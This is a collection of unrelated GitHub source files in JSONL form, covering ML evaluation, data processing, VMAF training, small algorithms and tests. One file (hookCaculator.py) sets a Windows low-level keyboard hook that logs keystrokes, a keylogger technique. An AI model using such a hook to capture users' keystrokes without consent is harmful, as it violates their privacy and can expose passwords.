+{"seq_id":"36603690387","text":"import torch\nfrom torch.autograd import Variable\nfrom torch.utils.data import DataLoader\nfrom torchvision import transforms, models\nfrom torchvision.datasets.folder import default_loader\nfrom tqdm import tqdm\n\nimport torch.nn as nn\nimport numpy as np\nfrom dataloader import ImageNet_Dataset\n\n\ndef F_score(ground_truth, predicted):\n true_positives = set(ground_truth).intersection(set(predicted))\n false_positives = set(predicted) - set(true_positives)\n false_negatives = set(ground_truth) - set(true_positives)\n return len(true_positives), len(false_positives), len(false_negatives)\n\n\nif __name__ == \"__main__\":\n device = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n\n data_folder = '/media/tthieuhcm/6EAEFFD5AEFF93B5/Users/Administrator/Downloads/ILSVRC'\n batch_size = 1\n num_worker = 1\n\n normalize = transforms.Normalize(mean=[0.485, 0.456, 0.406],\n std=[0.229, 0.224, 0.225])\n\n val_dataset = ImageNet_Dataset(data_folder,\n loader=default_loader,\n transform=transforms.Compose([\n transforms.Resize(256),\n transforms.CenterCrop(224),\n transforms.ToTensor(),\n normalize,\n ]),\n dataset_type='val')\n val_loader = torch.utils.data.DataLoader(\n val_dataset,\n batch_size=batch_size,\n shuffle=False,\n num_workers=num_worker,\n pin_memory=False)\n number_of_tags = len(val_dataset.classes)\n\n model_ft = models.densenet121(pretrained=True)\n num_ftrs = model_ft.classifier.in_features\n model_ft.classifier = nn.Linear(num_ftrs, number_of_tags)\n model = nn.Sequential(model_ft, nn.Sigmoid()).to(device)\n model.load_state_dict(torch.load(\"models/densenet121-DenoisedWeightedBCE-51.ckpt\"))\n model.eval()\n for param in model[0].parameters():\n param.requires_grad = False\n\n with torch.no_grad():\n all_true_positives = [0] * 11\n all_false_positives = [0] * 11\n all_false_negatives = [0] * 11\n list_threshold = [0.0, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1.0] # , 0.91, 0.92, 0.93, 0.94, 0.95, 0.96, 0.97, 0.98, 0.99]\n\n for input, target in tqdm(val_loader):\n input = input.cuda()\n target = target.cuda()\n outputs = model(input)\n\n for i, threshold in enumerate(list_threshold):\n t = Variable(torch.Tensor([threshold])).to(device)\n preds = (outputs > t).float() * 1\n preds = preds.type(torch.IntTensor).cpu().numpy()\n\n for j in range(input.size()[0]):\n pred_list = list()\n ground_truth_list = list()\n for num_item, item in enumerate(preds[j]):\n if item != 0:\n pred_list.append(val_dataset.inx_to_class[num_item])\n for num_item, item in enumerate(target[j]):\n if item != 0:\n ground_truth_list.append(val_dataset.inx_to_class[num_item])\n\n true_positives, false_positives, false_negatives = F_score(ground_truth_list, pred_list)\n\n all_true_positives[i] += true_positives\n all_false_positives[i] += false_positives\n all_false_negatives[i] += false_negatives\n\n for i, threshold in enumerate(list_threshold):\n precision = all_true_positives[i] / (all_true_positives[i] + all_false_positives[i] + 1e-10)\n recall = all_true_positives[i] / (all_true_positives[i] + all_false_negatives[i] + 1e-10)\n F1 = 2 * precision * recall / (precision + recall + 1e-10)\n print('threshold: ', threshold)\n print('precision: ', precision)\n print('recall: ', recall)\n print('F1: ', F1)\n\n#\n# def F_score(ground_truth, predicted):\n# true_positives = np.logical_and(ground_truth, predicted)\n# false_positives = np.logical_xor(predicted, true_positives)\n# false_negatives = np.logical_xor(ground_truth, true_positives)\n# return true_positives, false_positives, false_negatives\n#\n#\n# if __name__ == \"__main__\":\n# device = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n#\n# data_folder = '/media/tthieuhcm/6EAEFFD5AEFF93B5/Users/Administrator/Downloads/ILSVRC'\n# batch_size = 1\n# num_worker = 1\n#\n# normalize = transforms.Normalize(mean=[0.485, 0.456, 0.406],\n# std=[0.229, 0.224, 0.225])\n#\n# val_dataset = ImageNet_Dataset(data_folder,\n# loader=default_loader,\n# transform=transforms.Compose([\n# transforms.Resize(256),\n# transforms.CenterCrop(224),\n# transforms.ToTensor(),\n# normalize,\n# ]),\n# dataset_type='val')\n# val_loader = torch.utils.data.DataLoader(\n# val_dataset,\n# batch_size=batch_size,\n# shuffle=False,\n# num_workers=num_worker,\n# pin_memory=False)\n# number_of_tags = len(val_dataset.classes)\n#\n# model_ft = models.densenet121(pretrained=True)\n# num_ftrs = model_ft.classifier.in_features\n# model_ft.classifier = nn.Linear(num_ftrs, number_of_tags)\n# model = nn.Sequential(model_ft, nn.Sigmoid()).to(device)\n# model.load_state_dict(torch.load(\"models/densenet121-weightedBCE-47.ckpt\"))\n# model.eval()\n# for param in model[0].parameters():\n# param.requires_grad = False\n#\n# with torch.no_grad():\n# class_true_positives = np.zeros((10, number_of_tags))\n# class_false_positives = np.zeros((10, number_of_tags))\n# class_false_negatives = np.zeros((10, number_of_tags))\n# list_threshold = [0.0, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9]\n#\n# for input, target in tqdm(val_loader):\n# input = input.cuda()\n# target = target.cuda()\n# outputs = model(input)\n#\n# for i, threshold in enumerate(list_threshold):\n# t = Variable(torch.Tensor([threshold])).to(device)\n# preds = (outputs > t).float() * 1\n# preds = preds.type(torch.IntTensor).cpu().numpy()\n#\n# sample_true_positives, sample_false_positives, sample_false_negatives = F_score(target.cpu().numpy(), preds)\n#\n# class_true_positives [i, :] += sample_true_positives.flatten()\n# class_false_positives[i, :] += sample_false_positives.flatten()\n# class_false_negatives[i, :] += sample_false_negatives.flatten()\n#\n# for i, threshold in enumerate(list_threshold):\n# epsilon = np.array([1e-10]*number_of_tags)\n# precision = class_true_positives[i] / (class_true_positives[i] + class_false_positives[i] + epsilon)\n# recall = class_true_positives[i] / (class_true_positives[i] + class_false_negatives[i] + epsilon)\n# F1 = 2 * precision * recall / (precision + recall + epsilon)\n#\n# print('threshold: ', threshold)\n# print('precision: ', np.sum(precision)/number_of_tags)\n# print('recall: ', np.sum(recall)/number_of_tags)\n# print('F1: ', np.sum(F1)/number_of_tags)\n#\n# file = open(\"/home/tthieuhcm/Desktop/eval_results.txt\", \"a+\")\n# for i in range(number_of_tags):\n# file.write('precision: ' + precision[i] + \"\\n\")\n# file.write('recall: ' + recall[i] + \"\\n\")\n# file.write('F1: ' + F1[i] + \"\\n\")\n","repo_name":"tthieuhcm/Image-Tagging-Model","sub_path":"evaluate_imagenet.py","file_name":"evaluate_imagenet.py","file_ext":"py","file_size_in_byte":7978,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"38081126980","text":"database = open('br08303.keg', 'r')\n\nHashMap = {}\n\nfor line in database :\n name = []\n if line.startswith(\"F\") or line.startswith(\"E\"):\n if line.startswith(\"F\"):\n a = line.strip('F ')\n elif line.startswith(\"E\"):\n a = line.strip('E ')\n tab = a.split()\n num = tab[0]\n for i in range(1, len(tab)):\n name.append(tab[i])\n fullname = ' '.join(name)\n HashMap[num] = fullname\n\n\n\ndef searchName(ATCid):\n return HashMap[ATCid];\n\n\n#print(searchName('A16AX02'))\n","repo_name":"theovalfort/ProjetGMD","sub_path":"ATCKegRead.py","file_name":"ATCKegRead.py","file_ext":"py","file_size_in_byte":544,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"16382228538","text":"import csv\nimport json\nimport logging\nimport os\nfrom datetime import datetime\nfrom pathlib import Path\n\nimport pandas as pd\nimport requests\nfrom altmetric import Altmetric\nfrom tqdm import tqdm\n\nfrom helpers import load_config, select_basedir\nfrom helpers import PaperbuzzAPI\n\n# Output columns for results\nMETRICS_COLUMNS = [\"pmid\", \"doi\", \"resp\", \"err\", \"ts\"]\n\n# Init logging\nlogging.basicConfig(level=logging.INFO,\n format=\"%(asctime)s - %(message)s\")\n\n# Init\nlogging.info('Initialise configuration')\ndata_dir = Path(\"../data/\")\nconfig = load_config(\"../config.yml\")\noutput_dir = select_basedir(data_dir)\n\n# Initialize APIs\nALTMETRIC_KEY = config['keys']['altmetric']\naltmetric = Altmetric(ALTMETRIC_KEY)\npaperbuzz = PaperbuzzAPI(config['contact']['email'])\n\nlogging.info('Iterating over each query')\nfor idx, query in enumerate(config['queries'].keys()):\n input_df = pd.read_csv(output_dir / query / \"articles.csv\")\n input_df = input_df[input_df.error.isna()]\n\n # Query Paperbuzz API\n logging.info('Collecting Paperbuzz metrics for {}'.format(query))\n with open(str(output_dir / query / \"paperbuzz.csv\"), \"w\") as f:\n csv_writer = csv.writer(f)\n csv_writer.writerow(METRICS_COLUMNS)\n\n for pmid, doi in tqdm(zip(input_df.pmid, input_df.doi), total=len(input_df)):\n now = datetime.now()\n\n try:\n resp = paperbuzz.search(doi)\n err = None\n except Exception as e:\n resp = None\n err = e\n\n row = [pmid, doi, json.dumps(resp), str(err), str(now)]\n csv_writer.writerow(row)\n\n # Query Altmetric API\n logging.info('Collecting Altmetric.com metrics for {}'.format(query))\n with open(str(output_dir / query / \"altmetric.csv\"), \"w\") as f:\n csv_writer = csv.writer(f)\n csv_writer.writerow(METRICS_COLUMNS)\n\n for pmid, doi in tqdm(zip(input_df.pmid, input_df.doi), total=len(input_df)):\n now = datetime.now()\n\n try:\n resp = altmetric.pmid(str(pmid))\n err = None\n except Exception as e:\n resp = None\n err = e\n\n row = [pmid, doi, json.dumps(resp), str(err), str(now)]\n csv_writer.writerow(row)\n","repo_name":"ScholCommLab/pubmed-altmetrics","sub_path":"code/collect_metrics.py","file_name":"collect_metrics.py","file_ext":"py","file_size_in_byte":2292,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"31471651725","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Nov 25 09:24:46 2015\n\n@author: Nikolay_Semyachkin\n\"\"\"\n###THIS SUBMISSION GIVES 0.12251 ON PUBLIC LEADERBOARD <- about version 1\n##In version 1-2: change dummy variables to simply different numbers in one columns:Your submission scored 0.12364\n##Train on Sales>0, replace NaN with -1 instead of 0 : Your submission scored 0.12259\n\nimport pandas as pd\nimport numpy as np \nfrom sklearn.ensemble.forest import RandomForestRegressor\n#%matplotlib inline\n\n\ndef rmspe(y, yhat):\n fr = pd.DataFrame(y)\n fr['Sales_pred'] = yhat\n fr.columns = ['Sales','Sales_pred']\n fr['res'] = ((fr.Sales-fr.Sales_pred)/fr.Sales)**2\n return np.sqrt(np.mean(fr.loc[fr.Sales != 0].res))\n \n \ndef processdata(data):\n data.loc[data.Open.isnull(), 'Open'] = 1\n \n data['year'] = data.Date.apply(lambda x: x.split('-')[0])\n data['year'] = data['year'].astype(float)\n data['mon'] = data.Date.apply(lambda x: x.split('-')[1])\n data['mon'] = data['mon'].astype(float)\n data['day'] = data.Date.apply(lambda x: x.split('-')[2])\n data['day'] = data['day'].astype(float)\n\n data.loc[data['StoreType'] == 'a', 'StoreType'] = '1'\n data.loc[data['StoreType'] == 'b', 'StoreType'] = '2'\n data.loc[data['StoreType'] == 'c', 'StoreType'] = '3'\n data.loc[data['StoreType'] == 'd', 'StoreType'] = '4'\n data['StoreType'] = data['StoreType'].astype(float)\n \n data.loc[data['Assortment'] == 'a', 'Assortment'] = '1'\n data.loc[data['Assortment'] == 'b', 'Assortment'] = '2'\n data.loc[data['Assortment'] == 'c', 'Assortment'] = '3'\n data['Assortment'] = data['Assortment'].astype(float)\n\n data.loc[data['StateHoliday'] == 'a', 'StateHoliday'] = '1'\n data.loc[data['StateHoliday'] == 'b', 'StateHoliday'] = '2'\n data.loc[data['StateHoliday'] == 'c', 'StateHoliday'] = '3'\n data['StateHoliday'] = data['StateHoliday'].astype(float)\n \n data.loc[data['PromoInterval'] == 'Feb,May,Aug,Nov', 'PromoInterval'] = '1'\n data.loc[data['PromoInterval'] == 'Jan,Apr,Jul,Oct', 'PromoInterval'] = '2'\n data.loc[data['PromoInterval'] == 'Mar,Jun,Sept,Dec', 'PromoInterval'] = '3'\n data['PromoInterval'] = data['PromoInterval'].astype(float)\n \n data.fillna(-1, inplace=True)\n \nprint('Loading data...')\ntrain = pd.read_csv('train.csv')\ntest = pd.read_csv('test.csv')\nstore = pd.read_csv('store.csv')\n\nprint('Doing some preprocessing...')\n\ntrain = train[train.Sales > 0] #for features taken from xgb model on Kaggle, training is based on Open==1 rows; 'Open'\n#is removed from features\n\ntrain['LogSale'] = np.log(train.Sales+1)\n\ntrain=pd.merge(train, store, on=\"Store\") \ntest = pd.merge(test, store, on=\"Store\")\n\nprocessdata(train)\nprocessdata(test)\n\n\nrepeat = 1\n#print('Splitting data...')\nfor i in range(repeat):\n features = [col for col in test.columns if col not in ['Customers', 'Sales', 'Date','LogSale','datetimes','Id']] ##!!!for submission should be test.columns!!!\n# features = ['Store', 'CompetitionDistance', 'CompetitionOpenSinceMonth', 'CompetitionOpenSinceYear', 'Promo', 'Promo2',\\\n# 'Promo2SinceWeek', 'Promo2SinceYear', 'SchoolHoliday', 'DayOfWeek', 'mon', 'day', 'year', 'StoreType', 'Assortment']\n # ^^ features taken from xgb model on Kaggle\n rf = RandomForestRegressor(n_estimators=100)\n print('Starting training...')\n rf.fit(train[features],train.LogSale)\n# train['mypred'] = rf.predict(train[features])\n# train['mypred'] = np.expm1(train.mypred)\n# train_error = rmspe(train[train.Sales>0].Sales,train[train.Sales>0].mypred)\n# print(train_error)\n \n test['mypred'] = rf.predict(test[features])\n test['mypred'] = np.exp(test['mypred'])-1\n\ntest['Sales'] = test.mypred\ntest[[ 'Id', 'Sales' ]].to_csv('rand_for_kag_v4-8.csv', index = False )\n","repo_name":"letfoolsdie/kaggle-rossman","sub_path":"rf-kaggle_submit_v1-2.py","file_name":"rf-kaggle_submit_v1-2.py","file_ext":"py","file_size_in_byte":3777,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"40596930655","text":"# -*- coding: utf-8 -*-\n# __author__ = 'binbin zhao'\n# modified 2018.12.11\n\nfrom biocluster.agent import Agent\nfrom biocluster.tool import Tool\nfrom biocluster.core.exceptions import OptionError\nimport os\nimport datetime\n\nstarttime = datetime.datetime.now()\n\n\nclass LdGraphAgent(Agent):\n \"\"\"\n 连锁不平衡接口Tool\n \"\"\"\n\n def __init__(self, parent):\n super(LdGraphAgent, self).__init__(parent)\n options = [\n {\"name\": \"gro_list\", \"type\": \"infile\", \"format\": \"dna_evolution.ld_graph\"} # 过滤后的vcf文件\n ]\n self.add_option(options)\n\n def check_options(self):\n if not self.option(\"gro_list\"):\n raise OptionError(\"gro_list不存在\")\n\n def set_resource(self):\n self._cpu = 2\n self._memory = \"13G\"\n\n def end(self):\n super(LdGraphAgent, self).end()\n\n\nclass LdGraphTool(Tool):\n def __init__(self, config):\n super(LdGraphTool, self).__init__(config)\n self.R_path = 'program/R-3.3.1/bin/Rscript'\n self.ld_graph = self.config.PACKAGE_DIR + \"/dna_evolution/ld-decay-stat.R\"\n\n def run_ld_graph(self):\n \"\"\"\n 用于LD拟合曲线的绘制\n\n \"\"\"\n cmd = \"{} {} --infile {} --outfile {}\".format(\n self.R_path, self.ld_graph, self.option(\"gro_list\").prop[\"path\"], self.output_dir + \"/\")\n command = self.add_command(\"ld_graph\", cmd).run()\n self.wait()\n if command.return_code == 0:\n self.logger.info(\"R脚本ld_decay运行完成\")\n else:\n self.set_error(\"R脚本ld_decay运行失败\")\n\n def run(self):\n super(LdGraphTool, self).run()\n self.run_ld_graph()\n self.end()\n","repo_name":"bensonlew/rnawl","sub_path":"src/mbio/tools/dna_evolution/ld_graph.py","file_name":"ld_graph.py","file_ext":"py","file_size_in_byte":1698,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"82"} +{"seq_id":"29606736595","text":"from transformers import RobertaModel, RobertaPreTrainedModel\n\n\nclass RobertaEncoder(RobertaPreTrainedModel):\n def __init__(self, config):\n super(RobertaEncoder, self).__init__(config)\n\n self.roberta = RobertaModel(config)\n self.init_weights()\n\n def forward(self, input_ids, attention_mask=None, token_type_ids=None):\n\n outputs = self.roberta(input_ids, attention_mask=attention_mask, token_type_ids=token_type_ids)\n\n pooled_output = outputs[1]\n return pooled_output","repo_name":"boostcampaitech4lv23nlp2/level2_mrc_nlp-level2-nlp-13","sub_path":"model/Retrieval/RobertaEncoder.py","file_name":"RobertaEncoder.py","file_ext":"py","file_size_in_byte":514,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"82"} +{"seq_id":"45190780839","text":"import math\n\n\ndef main():\n n = int(input())\n string = input()\n\n sign_arr = [0]\n current_position = (0, 0)\n for element in string:\n new_position = (\n current_position[0] + (1 if element == \"R\" else 0),\n current_position[1] + (1 if element == \"U\" else 0),\n )\n new_position_sign = new_position[1] - new_position[0]\n if new_position_sign == 0:\n sign_arr.append(0)\n elif new_position_sign > 0:\n sign_arr.append(1)\n else:\n sign_arr.append(-1)\n\n current_position = new_position\n\n counter = 0\n for i in range(len(sign_arr) - 2):\n test_arr = sign_arr[i : i + 3]\n if test_arr in [[-1, 0, 1], [1, 0, -1]]:\n counter += 1\n\n print(counter)\n\n\nif __name__ == \"__main__\":\n main()\n\n# correct\n","repo_name":"hasnain-cyber/competitive-programming","sub_path":"codeforces/Fafa and the Gates.py","file_name":"Fafa and the Gates.py","file_ext":"py","file_size_in_byte":830,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"9712801414","text":"import os\nimport wandb\n\nfrom config.config import Config\nfrom config.config_registry import get_config\n\n\n'''\nEntry Point Functions\nCreate or Load a Config Instance, and initialize a wandb run, potentially resumed\nfrom an existing wandb run\n'''\n\nWANDB_ENTITY_NAME = \"rharries\"\nWANDB_PROJECT_NAME = \"RL_Sandbox\"\n\n\n'''\nInitialize a wandb run by loading a given config name and instance saved on the cloud\n'''\ndef load_run(config_name: str, config_instance: int) -> Config:\n wandb.login()\n \n # Find the run id which matches this config instance\n runs = wandb.Api().runs(\n f\"{WANDB_ENTITY_NAME}/{WANDB_PROJECT_NAME}\",\n filters={\n \"config.name\": config_name,\n \"config.instance\": config_instance\n }\n )\n if len(runs) == 0:\n raise ValueError(f\"Could not find wandb run for config {config_name}, instance {config_instance}\")\n if len(runs) > 1:\n raise ValueError(f\"Found multiple wandb runs for config {config_name}, instance {config_instance}\")\n run = runs[0]\n \n # Load config instance from run\n config = Config.from_dict(run.config)\n \n # Initialize wandb run, resumed from previous run\n wandb.init(\n entity=WANDB_ENTITY_NAME,\n project=WANDB_PROJECT_NAME,\n group=config.name,\n name=config.wandb_run_name(),\n config=config.to_dict(),\n id=run.id,\n resume=\"must\"\n )\n \n # Restore all files from wandb cloud run, which requires referencing them by name\n for file in run.files():\n wandb.restore(file.name, replace=True, root=Config.checkpoint_folder())\n \n return config\n\n\n\n'''\nInitialize a wandb run as a new instance of the chosen config, with optional config value overrides\n'''\ndef create_run(config_name: str, config_overrides: dict = {}) -> Config:\n wandb.login()\n \n # Load base config by this name\n base_config = get_config(config_name)\n \n # Determine the first unused instance index for this config name\n next_instance_index = 0\n runs = wandb.Api().runs(\n f\"{WANDB_ENTITY_NAME}/{WANDB_PROJECT_NAME}\",\n filters={\n \"config.name\": config_name\n }\n )\n if len(runs) == 0:\n instance = 0\n else:\n instance = max(run.config[\"instance\"] for run in runs) + 1\n \n # Create new config instance\n config = base_config.create_new_instance(instance, config_overrides)\n \n # Initialize wandb run\n wandb.init(\n entity=WANDB_ENTITY_NAME,\n project=WANDB_PROJECT_NAME,\n group=config.name,\n name=config.wandb_run_name(),\n config=config.to_dict()\n )\n \n return config","repo_name":"RobathanH/RL_Sandbox","sub_path":"run_manager.py","file_name":"run_manager.py","file_ext":"py","file_size_in_byte":2660,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"4412519397","text":"\ndef solution():\n M,N,K = map(int, input().split())\n grid = [[0]*N for _ in range(M) ] #MxN sized\n visited = [[False]*N for _ in range(M)]\n cabbages = []\n numworms = 0\n\n for _ in range(K):\n r, c = map(int, input().split())\n grid[r][c] = 1\n cabbages.append( (r,c) )\n \n for c in cabbages:\n if not visited[c[0]][c[1]]:\n # print(c)\n bfs(grid, visited, c)\n numworms +=1\n \n print('최소지렁이: ',numworms)\n\ndef bfs(grid, visited, c):\n dx = [1,0,-1,0]\n dy = [0,1,0,-1]\n Q = [c]\n while Q:\n cur = Q.pop(0)\n for i in range(4):\n newX = cur[0]+dx[i]\n newY = cur[1]+dy[i]\n #새로만든 좌표가 범위내에 있는데 양배추가 심겨져 있고 한번도 방문하지 않았다면\n if newX>=0 and newX=0 and newY=1\")\n\n\ndef main():\n\n if len(sys.argv) < 5:\n print_usage()\n return 2\n\n try:\n train_dataset_filepath = sys.argv[1]\n feature_param_filepath = sys.argv[2]\n model_param_filepath = sys.argv[3]\n output_model_filepath = sys.argv[4]\n except ValueError:\n print_usage()\n return 2\n\n try:\n train_dataset = import_python_file(train_dataset_filepath)\n feature_param = import_python_file(feature_param_filepath)\n model_param = import_python_file(model_param_filepath)\n except Exception as e:\n print(\"Error: %s\" % e)\n return 1\n\n cache_result = cmd_option_exists(sys.argv, 3, len(sys.argv), '--cache-result')\n parallelize = cmd_option_exists(sys.argv, 3, len(sys.argv), '--parallelize')\n processes = get_cmd_option(sys.argv, 3, len(sys.argv), '--processes')\n suppress_plot = cmd_option_exists(sys.argv, 3, len(sys.argv), '--suppress-plot')\n\n pool_method = get_cmd_option(sys.argv, 3, len(sys.argv), '--pool')\n if not (pool_method is None\n or pool_method in POOL_METHODS):\n print('--pool can only have option among {}'.format(', '.join(POOL_METHODS)))\n return 2\n\n subj_model = get_cmd_option(sys.argv, 3, len(sys.argv), '--subj-model')\n\n try:\n from sureal.subjective_model import SubjectiveModel\n if subj_model is not None:\n subj_model_class = SubjectiveModel.find_subclass(subj_model)\n else:\n subj_model_class = SubjectiveModel.find_subclass('MLE_CO_AP2')\n except Exception as e:\n print(\"Error: %s\" % e)\n return 1\n\n save_plot_dir = get_cmd_option(sys.argv, 3, len(sys.argv), '--save-plot')\n\n if cache_result:\n result_store = FileSystemResultStore()\n else:\n result_store = None\n\n if processes is not None:\n try:\n processes = int(processes)\n except ValueError:\n print(\"Input error: processes must be an integer\")\n assert processes >= 1\n\n # pooling\n if pool_method == 'harmonic_mean':\n aggregate_method = ListStats.harmonic_mean\n elif pool_method == 'min':\n aggregate_method = np.min\n elif pool_method == 'median':\n aggregate_method = np.median\n elif pool_method == 'perc5':\n aggregate_method = ListStats.perc5\n elif pool_method == 'perc10':\n aggregate_method = ListStats.perc10\n elif pool_method == 'perc20':\n aggregate_method = ListStats.perc20\n else: # None or 'mean'\n aggregate_method = np.mean\n\n logger = None\n\n try:\n if suppress_plot:\n raise AssertionError\n\n from vmaf import plt\n fig, ax = plt.subplots(figsize=(5, 5), nrows=1, ncols=1)\n\n train_test_vmaf_on_dataset(train_dataset=train_dataset, test_dataset=None,\n feature_param=feature_param, model_param=model_param,\n train_ax=ax, test_ax=None,\n result_store=result_store,\n parallelize=parallelize,\n logger=logger,\n output_model_filepath=output_model_filepath,\n aggregate_method=aggregate_method,\n subj_model_class=subj_model_class,\n processes=processes,\n )\n\n bbox = {'facecolor':'white', 'alpha':0.5, 'pad':20}\n ax.annotate('Training Set', xy=(0.1, 0.85), xycoords='axes fraction', bbox=bbox)\n\n # ax.set_xlim([-10, 110])\n # ax.set_ylim([-10, 110])\n\n plt.tight_layout()\n\n if save_plot_dir is None:\n DisplayConfig.show()\n else:\n DisplayConfig.show(write_to_dir=save_plot_dir)\n\n except ImportError:\n print_matplotlib_warning()\n train_test_vmaf_on_dataset(train_dataset=train_dataset, test_dataset=None,\n feature_param=feature_param, model_param=model_param,\n train_ax=None, test_ax=None,\n result_store=result_store,\n parallelize=parallelize,\n logger=logger,\n output_model_filepath=output_model_filepath,\n aggregate_method=aggregate_method,\n subj_model_class=subj_model_class,\n processes=processes,\n )\n except AssertionError:\n train_test_vmaf_on_dataset(train_dataset=train_dataset, test_dataset=None,\n feature_param=feature_param, model_param=model_param,\n train_ax=None, test_ax=None,\n result_store=result_store,\n parallelize=parallelize,\n logger=logger,\n output_model_filepath=output_model_filepath,\n aggregate_method=aggregate_method,\n subj_model_class=subj_model_class,\n processes=processes,\n )\n\n return 0\n\n\nif __name__ == '__main__':\n ret = main()\n exit(ret)\n","repo_name":"Netflix/vmaf","sub_path":"python/vmaf/script/run_vmaf_training.py","file_name":"run_vmaf_training.py","file_ext":"py","file_size_in_byte":6716,"program_lang":"python","lang":"en","doc_type":"code","stars":3922,"dataset":"github-code","pt":"82"} +{"seq_id":"38996232786","text":"import sys\n\nclass new_stack:\n def __init__(self, arr):\n self.arr = arr\n \n def get_size(self):\n return len(self.arr)\n\n def is_empty(self):\n if self.get_size() == 0:\n return 1\n else:\n return 0\n\n def do_pop(self):\n if self.is_empty():\n return -1\n else:\n temp = self.arr[-1]\n del self.arr[-1]\n return temp\n\n def get_top(self):\n if self.is_empty():\n return -1\n else:\n return self.arr[-1]\n \n def do_push(self, num):\n self.arr.append(num)\n return None\n\ndef check_order(s):\n # push인 경우 order, num 분리\n if s[:2] == \"pu\":\n order = s.split()[0]\n num = int(s.split()[1])\n return order, num\n else:\n order = s\n return order ,None\n\ndef do_order(order ,stack, num):\n if order == \"pop\":\n return stack.do_pop()\n elif order == \"size\":\n return stack.get_size()\n elif order == \"empty\":\n return stack.is_empty()\n elif order == \"top\":\n return stack.get_top()\n elif order == \"push\":\n return stack.do_push(num)\n\nn = int(input())\narr = []\nfor _ in range(n):\n # 입력\n inp = sys.stdin.readline().rstrip()\n #인스턴스 생성\n stack = new_stack(arr)\n # 어떤 명령인지 확인\n order, num = check_order(inp)\n # 해당 명령 stack에 수행\n out = do_order(order, stack, num)\n if out != None:\n print(out)\n","repo_name":"hun23/Daily-Algorithm","sub_path":"PYTHON/class2/10828.py","file_name":"10828.py","file_ext":"py","file_size_in_byte":1502,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"73537066509","text":"def finite_automaton(input, transition_table, accepting_states):\n #input is a string of characters\n #transition_table is a dictionary of states containing a dictionary of transitions\n #starting state will always be assumed to be 0\n #accepting_states is a list of accepting states\n #returns true if input results in accepting state, otherwise false\n #this will always take O(n) time to complete, even if non-acceptance can be\n #determined earlier\n current_state = 0\n i = 0\n while (i < len(input)):\n current_state = transition_table[current_state][input[i]]\n i += 1\n if (current_state in accepting_states):\n return True\n else:\n return False\n\ntest_inputs = ['abbbbbbabb', 'abb', 'abbbbbba', 'abbbbb', 'bbbbabb']\n\n#table for L=(a|b)*abb\ntest_table = {0:{'a':1, 'b':0}, 1:{'a':1, 'b':2}, 2:{'a':1, 'b':3}, 3:{'a':1, 'b':0}}\n\ntest_accept = [3]\n\nprint('test inputs are:', test_inputs)\nfor i in range(len(test_inputs)):\n print(finite_automaton(test_inputs[i], test_table, test_accept))","repo_name":"DehNutCase/Compiler-Class","sub_path":"Lab1/lab1.py","file_name":"lab1.py","file_ext":"py","file_size_in_byte":1002,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"42611132796","text":"import ctypes\nimport ctypes.wintypes\nimport win32gui\nimport win32process\n\n# 定义Windows API函数\nuser32 = ctypes.windll.user32\ncallback_type = ctypes.CFUNCTYPE(ctypes.c_int, ctypes.c_int, ctypes.c_int, ctypes.POINTER(ctypes.c_void_p))\n\n\nWH_KEYBOARD_LL = 13\n# 定义KBDLLHOOKSTRUCT结构体\nclass KBDLLHOOKSTRUCT(ctypes.Structure):\n _fields_ = [\n (\"vkCode\", ctypes.wintypes.DWORD),\n (\"scanCode\", ctypes.wintypes.DWORD),\n (\"flags\", ctypes.wintypes.DWORD),\n (\"time\", ctypes.wintypes.DWORD),\n (\"dwExtraInfo\", ctypes.POINTER(ctypes.wintypes.ULONG)),\n ]\n\n# 获取计算器窗口句柄\ncalculator_hwnd = win32gui.FindWindow(None, \"计算器\")\n\n# 获取计算器进程ID和句柄\n_, process_id = win32process.GetWindowThreadProcessId(calculator_hwnd)\ncalculator_handle = ctypes.windll.kernel32.OpenProcess(\n ctypes.wintypes.DWORD(0x1F0FFF), False, process_id\n)\n\n# 定义钩子回调函数\ndef hook_callback(nCode, wParam, lParam):\n if nCode == 0:\n # 提取键盘事件信息\n event = ctypes.cast(lParam, ctypes.POINTER(KBDLLHOOKSTRUCT)).contents\n if wParam == user32.WM_KEYDOWN:\n # 输出按下的键的名称和虚拟键码\n print(\"Key down: \", event.vkCode)\n elif wParam == user32.WM_KEYUP:\n # 输出释放的键的名称和虚拟键码\n print(\"Key up: \", event.vkCode)\n # 调用下一个钩子\n return user32.CallNextHookEx(hook_id, nCode, wParam, lParam)\n\n# 设置钩子\nhook_callback = callback_type(hook_callback)\n\n\nhook_id = user32.SetWindowsHookExA(WH_KEYBOARD_LL, ctypes.cast(hook_callback, ctypes.c_void_p), calculator_handle, 0)\n\n# 开始消息循环\nmsg = ctypes.wintypes.MSG()\nwhile user32.GetMessageW(ctypes.byref(msg), None, 0, 0) != 0:\n user32.TranslateMessage(ctypes.byref(msg))\n user32.DispatchMessageW(ctypes.byref(msg))\n\n# 卸载钩子\nuser32.UnhookWindowsHookEx(hook_id)\n\n# 关闭计算器进程句柄\nctypes.windll.kernel32.CloseHandle(calculator_handle)\n","repo_name":"sanshi2018/gameScript","sub_path":"hook/hookCaculator.py","file_name":"hookCaculator.py","file_ext":"py","file_size_in_byte":2003,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"43321701597","text":"\n\nfrom django.urls import reverse\nfrom rest_framework import status\nfrom rest_framework.test import APITestCase\n\nfrom api.models import 